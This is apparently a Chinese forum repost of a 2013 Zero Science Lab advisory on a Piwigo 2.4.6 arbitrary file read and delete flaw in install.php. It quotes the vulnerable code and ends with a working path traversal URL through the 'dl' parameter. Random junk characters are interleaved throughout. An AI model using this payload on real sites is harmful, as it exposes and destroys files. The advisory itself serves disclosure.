Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
6 D; G" a) f/ t# [3 i7 j====================================================================
/install.php:
-------------
( O( d  `9 q, H113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
, b' z8 \7 w8 q2 u) d9 i' i114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
' m( x. M; z- d+ X116:   header('Cache-Control: no-cache, must-revalidate');
117:   header('Pragma: no-cache');
1 b; p' o9 W; g3 ~5 W/ j% D118:   header('Content-Disposition: attachment; filename="database.inc.php"');
119:   header('Content-Transfer-Encoding: binary');
5 L  Q' m( b% U9 D120:   header('Content-Length: '.filesize($filename));
3 ]9 N% N  t7 e# V121:   echo file_get_contents($filename);
122:   unlink($filename);
0 R5 R" k; _/ u, A0 {! B123:   exit();
124: }
====================================================================

$ @( P; n- Z% T( D0 b+ uTested on: Microsoft Windows 7 Ultimate SP1 (EN)
           Apache 2.4.2 (Win32)
# e4 q* {( ~) {; |. ^           PHP 5.4.4
           MySQL 5.5.25a

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience
- {3 p* z) @3 ?$ K; x" o
Advisory ID: ZSL-2013-5127
6 m# W" y) \4 D5 {1 d2 ?0 tAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
! t/ _0 d' F" |4 T; tVendor Patch: http://piwigo.org/bugs/view.php?id=2843

7 S! X% E8 j+ a4 l6 C$ r15.02.2013
9 d/ f  k# y9 p
9 M) Z* U5 A* _5 K7 r! u--
/ K9 w2 c6 Y+ h6 _http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
' `  P, L' I* C- [) u0 E1 Z! @7 h" v8 }